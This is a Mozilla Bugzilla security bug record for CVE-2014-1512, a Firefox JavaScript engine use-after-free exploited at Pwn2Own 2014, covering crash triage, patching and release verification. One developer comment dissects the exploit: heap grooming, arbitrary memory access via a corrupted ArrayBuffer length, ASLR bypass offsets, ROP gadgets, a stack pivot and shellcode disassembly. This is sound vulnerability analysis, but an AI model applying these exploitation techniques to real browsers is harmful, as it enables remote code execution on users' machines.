Closed Bug 982957 (CVE-2014-1512) Opened 11 years ago Closed 11 years ago

OOM in TypeObject::sweep leaves pointers dangling (VUPEN Pwn2Own) (ZDI-CAN-2219)

Categories

(Core :: JavaScript Engine, defect)

Product:
Core
Component:
JavaScript Engine
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla29
Tracking Flags:
Tracking Status
firefox27 --- wontfix
firefox28 + verified
firefox29 + verified
firefox30 + unaffected
firefox-esr24 28+ verified
b2g18 --- fixed
b2g-v1.1hd --- fixed
b2g-v1.2 --- fixed
b2g-v1.3 --- fixed
b2g-v1.3T --- fixed
b2g-v1.4 --- unaffected

People

(Reporter: curtisk, Assigned: jandem)

References

(
URL
)

Details

(Keywords: csectype-uaf, sec-critical, Whiteboard: [pwn2own 2014][adv-main28+][adv-esr24.4+] fixed on trunk by bug 980630)

Attachments

(3 files, 1 obsolete file)

Crash if TypeObject::sweep OOMs
3.71 KB, patch
bhackett1024
: review+
lsblakk
: approval-mozilla-aurora+
lsblakk
: approval-mozilla-beta+
lsblakk
: approval-mozilla-release+
lsblakk
: approval-mozilla-esr24+
Details | Diff | Splinter Review
stack from 53292124-7f21-48e1-a763-1d5662140317
113.69 KB, text/plain
Details
stack from cfc9c7f8-cdcc-4832-85c0-a69742140317
107.46 KB, text/plain
Details
No description provided.
Looks like all JS to me.
Component: Security → JavaScript Engine
Summary: ZDI-CAN-2219 UAF → VUPEN Pwn2Own UAF in JavaScript (ZDI-CAN-2219)
Alias: CVE-ZDI-1512
Whiteboard: [pwn2own 2014]
Alias: CVE-ZDI-1512 → CVE-2014-1512
credit for this one needs to be listed as "VUPEN"
QA Contact: mwobensmith
Both of these just give me out of memory crashes.
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #6) > (On a debug trunk build) Try 32-bit opt builds?
I do get an interesting looking crash on 27 though ... downloading symbols now.
On a 27 release build I crash with: First-chance exception at 0x5E4B9A74 (mozjs.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x000FC0B0. > mozjs.dll!js::GCMarker::processMarkStackTop(js::SliceBudget & budget) Line 1432 C++ mozjs.dll!js::GCMarker::drainMarkStack(js::SliceBudget & budget) Line 1534 C++ mozjs.dll!IncrementalCollectSlice(JSRuntime * rt, __int64 budget, JS::gcreason::Reason reason, js::JSGCInvocationKind gckind) Line 4394 C++ mozjs.dll!GCCycle(JSRuntime * rt, bool incremental, __int64 budget, js::JSGCInvocationKind gckind, JS::gcreason::Reason reason) Line 4564 C++ mozjs.dll!Collect(JSRuntime * rt, bool incremental, __int64 budget, js::JSGCInvocationKind gckind, JS::gcreason::Reason reason) Line 4703 C++ mozjs.dll!JS::ShrinkingGC(JSRuntime * rt, JS::gcreason::Reason reason) Line 198 C++ xul.dll!nsJSContext::GarbageCollectNow(JS::gcreason::Reason aReason, nsJSContext::IsIncremental aIncremental, nsJSContext::IsCompartment aCompartment, nsJSContext::IsShrinking aShrinking, __int64 aSliceMillis) Line 1951 C++ xul.dll!nsJSEnvironmentObserver::Observe(nsISupports * aSubject, const char * aTopic, const wchar_t * aData) Line 251 C++ xul.dll!nsObserverService::NotifyObservers(nsISupports * aSubject, const char * aTopic, const wchar_t * someData) Line 330 C++ xul.dll!nsThread::ProcessNextEvent(bool mayWait, bool * result) Line 579 C++
I'm reliably seeing scary GC crashes on 27 and harmless OOM crashes on opt Nightly ... testing Aurora and Beta.
Kyle, are you on Windows 8 (or technically, 8.1)? I ask because that was the platform on which it was executed. I was able to reproduce on Fx27.0.1 32bit build running on Windows 8 64-bit. I see calc.exe once the browser quits. For 28/29, the browser crashes, no calc.
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #9) > mozjs.dll!js::GCMarker::processMarkStackTop(js::SliceBudget & budget) Line 1432 C++ This is a very common top frame of crashes, this has been seen as a topcrash signature for a long time. It scares me somewhat if we can see exploits with it.
I'm also unable to repro the exploit on Win7/Firefox 27.0.1. I do get GC crashes though on Windows and OS X, so I started to investigate those. It looks like we OOM in AllocateArrayBufferContents, then ArrayBufferObject::allocateSlots leaves obj->elements invalid and this can lead to problems when we try to free it.
(In reply to Jan de Mooij [:jandem] from comment #13) > It looks like we OOM in AllocateArrayBufferContents, then > ArrayBufferObject::allocateSlots leaves obj->elements invalid and this can > lead to problems when we try to free it. Sorry scratch this part, it's more complicated. Still debugging.
Alice, can you look for a fix range based on comment 14?
Flags: needinfo?(alice0775)
Alice, it will likely point to bug 980630, so you may want to start with that. Not sure yet though whether the TI OOMs are the real problem or if it's somewhere else and MOZ_CRASH is just hiding it.
All of the crashes Alice is getting are safe intentional crashes. Weird.
On Mozilla Central nightly builds on Feb 2 and before I crash in mozjs.dll like bp-81f1f555-e196-469a-821c-3d6b12140313 and on Feb 3 and later mozilla-central nightlies I get mozalloc.dll crashes like bp-60ee3e08-2d08-4033-b2e6-d87572140313
(In reply to Daniel Veditz [:dveditz] from comment #20) > On Mozilla Central nightly builds on Feb 2 and before I crash in mozjs.dll > like > bp-81f1f555-e196-469a-821c-3d6b12140313 > > and on Feb 3 and later mozilla-central nightlies I get mozalloc.dll crashes > like > bp-60ee3e08-2d08-4033-b2e6-d87572140313 That's not consistent with bug 980630.
If I looked up csets correctly, that would provide the following fix range: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=3e40f7389d1b&tochange=44ba69cacd7e Nothing in there jumps out though. Very little JS stuff.
really? I see a bunch of js devs checking in. bug 966040 maybe?
or Bug 962449 - "Make various getOrCreate methods static to efficiently fix hazards"?
(In reply to Daniel Veditz [:dveditz] from comment #23) > really? I see a bunch of js devs checking in. bug 966040 maybe? I ignored that because it's GGC related, but perhaps. (In reply to Daniel Veditz [:dveditz] from comment #24) > or Bug 962449 - "Make various getOrCreate methods static to efficiently fix > hazards"? I will admit that I didn't look for Bobby's name when I was scanning.
Yeah, those two look the most suspicious to me, as they involve changing object allocation. Bug 966040 included what looks like a refactoring of allocation that probably applies even without GGC: https://hg.mozilla.org/mozilla-central/rev/56d9e75b36b4
Wait a minute... if it got fixed on Feb 2 that means Aurora should also be fixed. Can we look for something on Aurora that backs out one of those changes? Or more likely I have the wrong regression range. Would be really nice if someone else could try too.
Paul - Is this needed on FxOS 1.3?
Flags: needinfo?(ptheriault)
I killed other application so that room of RAM increased. And then I re-tested. Crash with @ mozjs.dll bp-bac52cef-f251-4b42-bbe7-8ce962140313 SourceStamp=fbd66b4eaeea Crash with @ mozjs.dll bp-354d9d50-7a80-4c74-96d7-7a29e2140313 SourceStamp=fb23f20f9c6c Crash with @ mozalloc.dll bp-d68c4468-52fb-420f-9b86-c992e2140313 SourceStamp=74d0e18037f5 Crash with @ mozalloc.dll bp-1c2f6a85-c3fd-4557-8594-05bcb2140313 SourceStamp=64e41faa2462 Pushlog http://hg.mozilla.org/integration/mozilla-inbound/pushloghtml?fromchange=fb23f20f9c6c&tochange=74d0e18037f5
(In reply to Andrew McCreight [:mccr8] from comment #26) > Bug 966040 included what looks like a refactoring of allocation that > probably applies even without GGC: > https://hg.mozilla.org/mozilla-central/rev/56d9e75b36b4 CC'ing Terrence and Jon as well, our GGC folks.
PoC.html just get OOM killed on 1.4 hamachi for me: <4>[14904.112561] send sigkill to 2729 (bug Test), adj 2, size 27421
Alice, did you download Win32 Opt builds from tbpl or build locally? I've some trouble reproducing this crash with my own Windows opt builds.
(In reply to Jan de Mooij [:jandem] from comment #32) > Alice, did you download Win32 Opt builds from tbpl or build locally? I've > some trouble reproducing this crash with my own Windows opt builds. Downloaded from http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-inbound-win32/ and http://inbound-archive.pub.build.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-inbound-win32/
I was finally able to get the GC crash in a debugger. We crash in ScanTypeObject: types::Property *prop = type->getProperty(i); 5E42E994 8B 4B 0C mov ecx,dword ptr [ebx+0Ch] 5E42E997 81 E1 F0 FF 00 00 and ecx,0FFF0h 5E42E99D 83 F9 10 cmp ecx,10h 5E42E9A0 75 05 jne ScanTypeObject+47h (5E42E9A7h) 5E42E9A2 8B 43 14 mov eax,dword ptr [ebx+14h] 5E42E9A5 EB 06 jmp ScanTypeObject+4Dh (5E42E9ADh) 5E42E9A7 8B 53 14 mov edx,dword ptr [ebx+14h] 5E42E9AA 8B 04 AA mov eax,dword ptr [edx+ebp*4] if (prop && JSID_IS_STRING(prop->id)) 5E42E9AD 85 C0 test eax,eax 5E42E9AF 74 56 je ScanTypeObject+0A7h (5E42EA07h) 5E42E9B1 8B 00 mov eax,dword ptr [eax] 5E42E9B3 A8 07 test al,7 5E42E9B5 75 50 jne ScanTypeObject+0A7h (5E42EA07h) PushMarkStack(gcmarker, JSID_TO_STRING(prop->id)); 5E42E9B7 8B F0 mov esi,eax 5E42E9B9 C1 EE 03 shr esi,3 5E42E9BC 81 E6 FF FF 01 00 and esi,1FFFFh 5E42E9C2 8B CE mov ecx,esi 5E42E9C4 83 E1 1F and ecx,1Fh 5E42E9C7 BF 01 00 00 00 mov edi,1 5E42E9CC D3 E7 shl edi,cl 5E42E9CE 8B C8 mov ecx,eax 5E42E9D0 81 E1 B0 C0 FF FF and ecx,0FFFFC0B0h 5E42E9D6 81 C9 B0 C0 0F 00 or ecx,0FC0B0h 5E42E9DC C1 EE 05 shr esi,5 5E42E9DF 8D 14 B1 lea edx,[ecx+esi*4] 5E42E9E2 8B 0A mov ecx,dword ptr [edx] <---------- 5E42E9E4 85 CF test edi,ecx 5E42E9E6 75 1F jne ScanTypeObject+0A7h (5E42EA07h) 5E42E9E8 0B CF or ecx,edi 5E42E9EA 89 0A mov dword ptr [edx],ecx 5E42E9EC F6 00 0F test byte ptr [eax],0Fh I marked the instruction that crashes. edx is 0xfc0b0, this is the crash address you can also see in the GC-related crash reports Kyle posted in comment 14. So we're marking a TypeObject and crashing, likely due to an OOM when we add TypeObject properties. Will investigate more.
In this particular (poc.html) case, the TypeObject has basePropertyCount() == 1. This means TypeObject::getProperty will cast TypeObject::propertySet to a Property. property->id == 0. JSID_IS_STRING returns |true| in this case and JSID_TO_STRING(prop->id) returns nullptr. Then we do some bit twiddling and crash in ChunkBitmap::markIfUnmarked (inlined): getMarkWordAndMask(cell, BLACK, &word, &mask); if (*word & mask) return false; *word is where we crash.
If I change AllocateArrayBufferContents to initialize all bytes as 0x10 instead of 0 for arrays of length 8160, JSID_TO_STRING(prop->id) is no longer nullptr but 0x10101010 (and the crash address becomes 0x101fc0f0). This suggests the poc.html crash works like this: (1) TypeObject::sweep OOMs, TypeObject::propertySet becomes a dangling pointer. (Note: "sweep" here is a bit misleading, the TypeObject is not necessarily going away.) (2) Even more ArrayBuffers are allocated. TypeObject::propertySet now points into one of these ArrayBuffers. (3) GC crashes when it tries to mark this TypeObject again.
One of the crashes I get is bp-3ac2b710-65a6-4675-bbb2-decce2140313 in ScanRope, which led me to bug 668583 with a patch marked checkin+ but still open. Related? Helpful? Just random what parts of GC get corrupted?
Flags: needinfo?(sphink)
I'll post a patch to fix the issue described in comment 36. Matt, it looks like you're the only one able to reproduce the exploit (not the GC crashes). Can you give us more info about your hardware/VM? How much memory does it have? Does it crash reliably? Will you be able to test a patch or Try build?
Flags: needinfo?(mwobensmith)
Crash if we OOM in TypeObject::sweep and ConstraintTypeSet::sweep. See analysis in comment 36 for more info. This is the simplest and safest fix and we're doing this already on mozilla-central (bug 980630). Brian, can you think of other cases where we need this?
Assignee: nobody → jdemooij
Status: NEW → ASSIGNED
Attachment #8390602 - Flags: review?(bhackett1024)
Keywords: csectype-uaf
Fwiw, LangFuzz did show several crashes at [@ js::types::ConstraintTypeSet::sweep] with OOM conditions, but I stopped reporting these types of bugs, because it's nearly impossible to get developers to look at them (and reporting them consumes a lot of time). And the signature in the fuzzer looked like a null-deref, so non-s-s. If this turns out to be the right bug, then we should invest again in OOM testing. I have several tools/scripts at hand to find these issues, that's not the problem. But we need developers to fix them.
Attachment #8390602 - Flags: review?(bhackett1024) → review+
We still need to know how they go from UAF to code execution, but that's a lot easier if we can reproduce it. (We can modify the shell code to catch it in a debugger etc.) So if you're reading this and have a Windows machine or VM to try the exploit on, and it successfully opens calc.exe, specs etc would be really appreciated.
(In reply to Jan de Mooij [:jandem] from comment #38) > I'll post a patch to fix the issue described in comment 36. > > Matt, it looks like you're the only one able to reproduce the exploit (not > the GC crashes). Can you give us more info about your hardware/VM? How much > memory does it have? Does it crash reliably? > > Will you be able to test a patch or Try build? I'm using a VMware image of Win8 x64 with 2GB RAM allocated. The exploit seemed to work well there. A try build might be best for me to test with.
Flags: needinfo?(mwobensmith)
I also tried in my VMWare VM Win7 x64 with 2GB RAM and 6 processor cores. The first time, Firefox 27.0.1 crashed: https://crash-stats.mozilla.com/report/index/59539e4a-d833-435e-8708-b3c422140313. The second time, calc.exe opened.
Tried a bunch of times on the same machine with lastest Nightly, got a crash every time, plus a slow script dialog followed by a crash in a couple of the test runs.
Thanks, Ehsan. Now we know this also repros on Windows 7. It looks like the exploit requires either VMWare, 2GB RAM or both. I'm downloading a Windows image from our ftp now so that I can install it in VMWare, but it will take a while.
OK, I installed Win 7 in VMWare Fusion and I can repro the exploit. Building 27.0.1 now and hopefully that one will also open calc and I can attach a debugger.
I think this exploit doesn't work on 30. Please correct me if I'm wrong.
status-firefox30: affected → unaffected
Comment on attachment 8390602 [details] [diff] [review] Crash if TypeObject::sweep OOMs We should land this patch while we investigate the exploit more in case there's another bug. Note that trunk is not affected, but everything up to and including aurora is. [Security approval request comment] How easily could an exploit be constructed based on the patch? It's not completely trivial but also not that hard to figure out it's fixing a UAF. Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? No. Which older supported branches are affected by this flaw? Release, beta, aurora, ESR. If not all supported branches, which bug introduced the flaw? Unknown. Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? Should be easy. How likely is this patch to cause regressions; how much testing does it need? Unlikely. It makes us crash when we OOM in some cases, we're already doing this on mozilla-central. [Approval Request Comment] Risk to taking this patch (and alternatives if risky): Very low. String or UUID changes made by this patch: None. [Approval Request Comment] Regression caused by (bug #): Unknown. User impact if declined: sec bugs, crashes Testing completed (on m-c, etc.): Similar code is on m-c. Risk to taking this patch (and alternatives if risky): Very low. String or IDL/UUID changes made by this patch: None.
Attachment #8390602 - Flags: sec-approval?
Attachment #8390602 - Flags: approval-mozilla-release?
Attachment #8390602 - Flags: approval-mozilla-esr24?
Attachment #8390602 - Flags: approval-mozilla-beta?
Attachment #8390602 - Flags: approval-mozilla-aurora?
Comment on attachment 8390602 [details] [diff] [review] Crash if TypeObject::sweep OOMs Since this isn't landing to m-c it doesn't require sec-approval, we can go ahead with uplift to branches.
Attachment #8390602 - Flags: sec-approval?
Attachment #8390602 - Flags: approval-mozilla-release?
Attachment #8390602 - Flags: approval-mozilla-release+
Attachment #8390602 - Flags: approval-mozilla-esr24?
Attachment #8390602 - Flags: approval-mozilla-esr24+
Attachment #8390602 - Flags: approval-mozilla-beta?
Attachment #8390602 - Flags: approval-mozilla-beta+
Attachment #8390602 - Flags: approval-mozilla-aurora?
Attachment #8390602 - Flags: approval-mozilla-aurora+
Unfortunately the exploit doesn't work in the VM with my own 27.0.1 opt build (not entirely surprising as there are many magic values in it), so I started debugging the official build. I added 0xccccccc (x86 interrupt instructions) to the shell code, here's what I see in the debugger: 50550000 int 3 <- I added these 4 50550001 int 3 50550002 int 3 50550003 int 3 50550004 mov eax,95C2152Bh 50550009 fcmovnu st,st(6) 5055000B fnstenv [esp-0Ch] 5055000F pop edi 50550010 xor ecx,ecx 50550012 mov cl,38h 50550014 sub edi,0FFFFFFFCh 50550017 xor dword ptr [edi+0Eh],eax 5055001A add ebp,dword ptr [ebx+ebx+20h] 5055001E pushad 5055001F daa 50550020 test al,48h 50550022 or byte ptr [ebx],ch 50550024 into 50550025 js 50550017 50550027 dec esp 50550028 lock xchg al,bh 5055002B jmp 38C2:F5274122 50550032 xchg eax,edx 50550033 cmc 50550034 aadb 75h 50550036 sbb eax,0A51B2605h 5055003B ja 50550015 5055003D test al,0C0h 5055003F lahf 50550040 inc esp 50550041 iretd So it's loading this code (minus the first 4 instructions) at address 0x50550000 (this value appears a few times in the JS code as well). I'll see if I can find out more.
Summary: VUPEN Pwn2Own UAF in JavaScript (ZDI-CAN-2219) → OOM in TypeObject::sweep leaves pointers dangling (VUPEN Pwn2Own) (ZDI-CAN-2219)
Whiteboard: [pwn2own 2014] → [pwn2own 2014][adv-main28+][adv-esr24.4+]
Keywords: verifyme
I tried to reproduce this bug on a Firefox 28 beta. At every load of exploit.html or poc.html I get a crash, but except for one mozalloc crash (https://crash-stats.mozilla.com/report/index/45fcb654-4242-4c06-9fb8-9bcbc2140314), they all point to libxul (e.g. https://crash-stats.mozilla.com/report/index/467195ef-9792-452f-891b-d6d3e2140314 https://crash-stats.mozilla.com/report/index/6f128edc-30f3-4636-ae45-0bfaf2140314 https://crash-stats.mozilla.com/report/index/973f4f62-1798-4139-8912-ab9bd2140314 ) Are these crashes related to this same bug?
I investigated the (undocumented) exploit more, in case there are other issues. I know how it works now more or less: * Attack starts as described in comment 36. This gives us a bogus JSString pointer pointing into our ArrayBuffer. * The ArrayBuffers are prepared carefully to confuse GC marking code. For instance, GC uses the string pointer address to get a Zone pointer, we can now give the GC marking code our own Zone* and control what's read from it. So we end up in EncapsulatedId::pre: JS::shadow::Zone *shadowZone = ShadowZoneOfStringFromAnyThread(str); if (shadowZone->needsBarrier()) { js::gc::MarkStringUnbarriered(shadowZone->barrierTracer(), &str, "write barrier"); ... * This calls MarkUnbarriered<JSString>, where we (eventually) call MarkInternal(JSTracer *trc, T **thingp). Here we have a JSTracer* that comes from the bogus Zone* we have control over (zone->barrierTracer), we made sure the tracer has address 0x50505080: if(k6 == 0x1412) view[k6] = 0x50505080; trc->callback is nullptr, this is done here: else if (k6 == 0x141D) view[k6] = 0x0; Convenient, because it means MarkInternal will take this path: if (!trc->callback) { ... snip ... thing->zone()->maybeAlive = true; And that's a nice write right there. Remember, thing->zone() is something we control, so we use this to modify the byteLength field of another ArrayBufferObject from 0xffff0 to 0x400ffff0. * Then, our JS code can check for this: if (tab5[ii].byteLength != 0x000FFFF0 ) { Whenever this |if| is taken, we have an ArrayBuffer with a bogus byteLength of 0x400ffff0. Signal that everything is set up, after this all we need to do is trigger another GC: flag2 = true; Int32Array view of the previous buffer and current one. var viewN= new Int32Array(tab5[ii -1],0,0x3FFF0); var view= new Int32Array(tab5[ii ],0,0x004FFFF0); Now we can write a bit out-of-bounds (bogus byteLength, remember), but we want more. So we set the byteLength of the *next* ArrayBuffer to UINT32_MAX and create a DataView for that one. This gives us pretty much unlimited access to arbitrary memory: view[0x3FFFD] = 0xFFFFFFFF; var data = DataView(tab5[ii +1]); Now we can get a pointer to the ViewList of the next ArrayBuffer (from its ObjectElements). We use this to get an Int32Array JSObject*: var ad1 = data.getInt32(0x3FFFD*4+4,true); var index1 = ad1 - 0x50700010; Load its shape: var ad2 = data.getInt32(index1,true); var index2 = ad2 - 0x50700010; Load its BaseShape: var ad3 = data.getInt32(index2,true); var index3 = ad3 - 0x50700010; Load its clasp: var ad4 = data.getInt32(index3,true); var index4 = ad4 - 0x50700010; Load the class name (const char*, "Int32Array"): var ad5 = data.getInt32(index4,true); From this string address, we can calculate some code addresses we can use (bypassing ASLR!) and store them in memory that will end up on our C stack later on. First, we get the address of __imp__VirtualProtect: var vpPointerAd = ad5 - 0x45744; var vpAd = data.getInt32(vpPointerAd - 0x50700010 ,true); Then some gadgets (pointers to useful snippets of code): var gadget1Ad = ad5 - 0x1E647F; var gadget2Ad = ad5 - 0x2BAA20; var gadget3Ad = ad5 - 0x1875CA; viewN[0x157C] = gadget1Ad; viewN[0x13FC] = gadget2Ad; viewN[0x1585] = gadget3Ad; First gadget is some code in EnterIon (push dword ptr [ebp-80h]; mov ecx,ebx; call dword ptr [eax+4]) Second one some code in the frontend (add esp,10h; ret) Third one in _chkstk is interesting, this lets us change our stack pointer to something we put in the ArrayBuffer: xchg esp, eax ; update esp mov eax, dword ptr [eax] ; get return address mov dword ptr [esp], eax ; and put it at new TOS ret Then we set up some more data, 0x50550000 is where the shell code is, 0x50505020 is the stack pointer it will use: viewN[0x1589] = vpAd; viewN[0x158A] = 0x50550000; viewN[0x158B] = 0x50550000; viewN[0x158C] = 0x1000; viewN[0x158D] = 0x40; viewN[0x158E] = 0x50505020; Finally, we set trc->callback to the following code in TokenStream::strictMode: mov eax,dword ptr [eax+590h] mov edx,dword ptr [eax] mov ecx,eax call dword ptr [edx] viewN[0x141D] = ad5 - 0x117E21; * Now we just generate more garbage (counter1.toString()) until we GC again. Then MarkInternal<JSString> does this: trc->callback(trc, (void **)thingp, MapTypeToTraceKind<T>::kind); This lands us in the TokenStream::strictMode code I mentioned earlier. From there we call gadget 1, there we call gadget 3 (this gives us the stack pointer we want). Then we return, end up in gadget 2, return to some kernel code that probably marks our shell code executable, then we end up in our shell code.
(In reply to Ioana Budnar, QA [:ioana] from comment #53) > Are these crashes related to this same bug? Yes. These libxul crashes all have crash address 0xfc0b0. The crashes you got with the patch are all at 0x0, I'm pretty sure that's the intentional crash we added on OOM, but unfortunately there are no stack traces so I can't say for sure :(
Comment 4 is private: false
Whiteboard: [pwn2own 2014][adv-main28+][adv-esr24.4+] → [pwn2own 2014][adv-main28+][adv-esr24.4+] fixed on trunk by bug 980630
I'm testing on Fx24.4.0esr and Fx28, Windows 8. I still see crashes - as Ioana does in comments 53 and 54 - but they are different. We no longer get the same stack trace for the Fx27.0.1 crash - which does indeed launch calc for me - so I'd assume that could be an indicator of success. However, it might be good for someone to take a quick look and weigh in on whether we feel the other two are acceptable. Fx27.0.1: https://crash-stats.mozilla.com/report/index/582080b5-1d7f-4e1a-9f50-cc0802140317 Fx24.4.0esr: https://crash-stats.mozilla.com/report/index/aeaff345-7829-4f76-8f5d-600772140317 Fx28: https://crash-stats.mozilla.com/report/index/9d148b71-a63b-4215-857b-a87322140317
One of our vendors reported a GC crash from monkey testing: https://bugzilla.mozilla.org/show_bug.cgi?id=984101 Any chance that that is related?
(In reply to Matt Wobensmith from comment #57) > However, it > might be good for someone to take a quick look and weigh in on whether we > feel the other two are acceptable. Those reports look fine to me, not the GC crashes we got before. (In reply to Andreas Gal :gal from comment #58) > One of our vendors reported a GC crash from monkey testing: > > https://bugzilla.mozilla.org/show_bug.cgi?id=984101 > > Any chance that that is related? This looks like a WeakMap issue.. It could be related maybe but GC crashes can have many different (memory corruption etc) causes so it's hard to say.
(In reply to Jan de Mooij [:jandem] from comment #56) > (In reply to Ioana Budnar, QA [:ioana] from comment #53) > > Are these crashes related to this same bug? > > Yes. These libxul crashes all have crash address 0xfc0b0. > > The crashes you got with the patch are all at 0x0, I'm pretty sure that's > the intentional crash we added on OOM, but unfortunately there are no stack > traces so I can't say for sure :( It seems I only get the libxul crashes on Ubuntu. I tested this on Windows 7 64bit with the latest Aurora build and I get crashes with another signature (js::gc::CrashAtUnhandlableOOM(char const*)). If you need other stack traces for the Ubuntu crashes than what it's in the crash report, please let me know how I could get them.
Flags: needinfo?(jdemooij)
As per comment 59, marking verified for Fx24.4.0esr and Fx28.
status-firefox28: fixed → verified
status-firefox-esr24: fixed → verified
(In reply to Ioana Budnar, QA [:ioana] from comment #60) > It seems I only get the libxul crashes on Ubuntu. I tested this on Windows 7 > 64bit with the latest Aurora build and I get crashes with another signature > (js::gc::CrashAtUnhandlableOOM(char const*)). That one is expected :)
Flags: needinfo?(jdemooij)
The libxul crashes also happen on Nightly, RC and ESR: https://crash-stats.mozilla.com/report/index/53292124-7f21-48e1-a763-1d5662140317 https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0-a69742140317 https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708-75f552140317 https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708-75f552140317 Jan, the need-info was for the last part of comment 60: > If you need other stack traces for the Ubuntu crashes than what it's in the > crash report, please let me know how I could get them.
Jan, are the crashes in comment 63 of concern to this bug?
Flags: needinfo?(jdemooij)
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #64) > Jan, are the crashes in comment 63 of concern to this bug? I don't know, there are no stacks :( Why don't we have useful stack traces for these Linux builds?
Flags: needinfo?(jdemooij)
(In reply to Jan de Mooij [:jandem] from comment #65) > (In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #64) > > Jan, are the crashes in comment 63 of concern to this bug? > > I don't know, there are no stacks :( Why don't we have useful stack traces > for these Linux builds? I don't know -- who can we ask? I'm concerned that we're releasing in less than 24 hours if this isn't 100% fixed.
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #66) > I don't know -- who can we ask? I'm concerned that we're releasing in less > than 24 hours if this isn't 100% fixed. Setting NI. The problem here is that QA can't get crash reports with useful stacks (see comment 63), making it harder to verify this.
Flags: needinfo?(ted)
Flags: needinfo?(benjamin)
libxul.so 000000000000000000000000000000000 libxul.so No module ID, so we can't look up symbols. I don't really know *why* there's no module ID, though if we're close to OOM that might explain it. Ted do you know if there's an easy way to force a manual run of MDSW to say "libxul.so module ID is X" Can I also say it's a little weird that http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02-mozilla-central/ doesn't have the crashreporter symbols for those builds.
Flags: needinfo?(benjamin)
(In reply to Benjamin Smedberg [:bsmedberg] from comment #68) > libxul.so 000000000000000000000000000000000 libxul.so > > No module ID, so we can't look up symbols. I don't really know *why* there's > no module ID, though if we're close to OOM that might explain it. Ted do you > know if there's an easy way to force a manual run of MDSW to say "libxul.so > module ID is X" > > Can I also say it's a little weird that > http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02- > mozilla-central/ doesn't have the crashreporter symbols for those builds. It looks like these only go to the tinderbox builds dir: http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-central-linux/1395050522 (In addition to the symbol server, of course.)
(In reply to Ted Mielczarek [:ted.mielczarek] from comment #70) > I processed this locally, this is the stack from: > https://crash-stats.mozilla.com/report/index/53292124-7f21-48e1-a763- > 1d5662140317 Thanks! This one looks fine, CrashAtUnhandlableOOM is expected here.
Stack for https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0-a69742140317 These should be the right symbols, it looks like it's crashing in nsCycleCollector::BeginCollection.
(In reply to Ioana Budnar, QA [:ioana] from comment #63) > https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708- > 75f552140317 This crash is also [@ CrashAtUnhandlableOOM ]. Iona: you pasted 4 links in comment 63, but the third and fourth are the same.
Flags: needinfo?(ioana.budnar)
Ted, I need to give the go-ahead to push to mirrors today if we're going to release tomorrow. In your opinion, can we release given the current state of this bug?
(In reply to Ted Mielczarek [:ted.mielczarek] from comment #74) > Created attachment 8392393 [details] > stack from cfc9c7f8-cdcc-4832-85c0-a69742140317 > > Stack for > https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0- > a69742140317 > > These should be the right symbols, it looks like it's crashing in > nsCycleCollector::BeginCollection. And this is the 28.0 release build, from all I can tell. We should definitely verify if that's a safe crash. That said, it is a 0x0 crash and not the address we apparently saw with the vulnerable crash, at least from how I read comment #56. Still, verification would be good.
Any time we crash in MOZ_CRASH() it should be safe. The line Ted pointed to in comment 75 is just us crashing safely when we run out of memory.
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #77) > Ted, I need to give the go-ahead to push to mirrors today if we're going to > release tomorrow. In your opinion, can we release given the current state of > this bug? I'm not sure if Ted would be able answer this, he just dug out the stacks for Ioana's crashes (FWIW, would be nice if we could coerce Socorro to reprocess with a "forced" reference to symbols in such a case - may be worth a bug if Ted agrees). I'd have ni?ed Jan to confirm if the crash stack in attachment 8392393 [details] is safe but Andrew just did that. :) That said, Ioana's report of bp-966fb7c7-926c-4878-9708-75f552140317 from the same 28.0 build is a safe crash in the intended place. We are missing the ESR crash from Ioana, the list in comment #63 is Nightly and two crashes from 28.0 (RC I assume).
Thanks Robert, so it looks like this is "safe" for me to okay pushing Firefox 28 to mirrors. That's not to say we shouldn't continue to investigate this but that investigation can continue in parallel. Is that right?
Flags: needinfo?(kairo)
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #81) > Thanks Robert, so it looks like this is "safe" for me to okay pushing > Firefox 28 to mirrors. That's not to say we shouldn't continue to > investigate this but that investigation can continue in parallel. Is that > right? I spoke to Matt Wobensmith about this and in his opinion it's safe to go to mirrors for Firefox 28 so I'm going to give the okay. If you think that's the wrong decision please speak up.
Flags: needinfo?(kairo)
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #82) > I spoke to Matt Wobensmith about this and in his opinion it's safe to go to > mirrors for Firefox 28 so I'm going to give the okay. If you think that's > the wrong decision please speak up. Sending the sign-off now. Thanks everyone for helping me understand this bug.
(In reply to Ben Hearsum [:bhearsum] from comment #69) > (In reply to Benjamin Smedberg [:bsmedberg] from comment #68)= > > Can I also say it's a little weird that > > http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02- > > mozilla-central/ doesn't have the crashreporter symbols for those builds. > > It looks like these only go to the tinderbox builds dir: > http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla- > central-linux/1395050522 > > (In addition to the symbol server, of course.) This is probably bug 973901..
(In reply to Ioana Budnar, QA [:ioana] from comment #84) > The ESR crash: > https://crash-stats.mozilla.com/report/index/83408bb4-0914-422d-bbea- > 47d5f2140317 This is also [@ CrashAtUnhandlableOOM ].
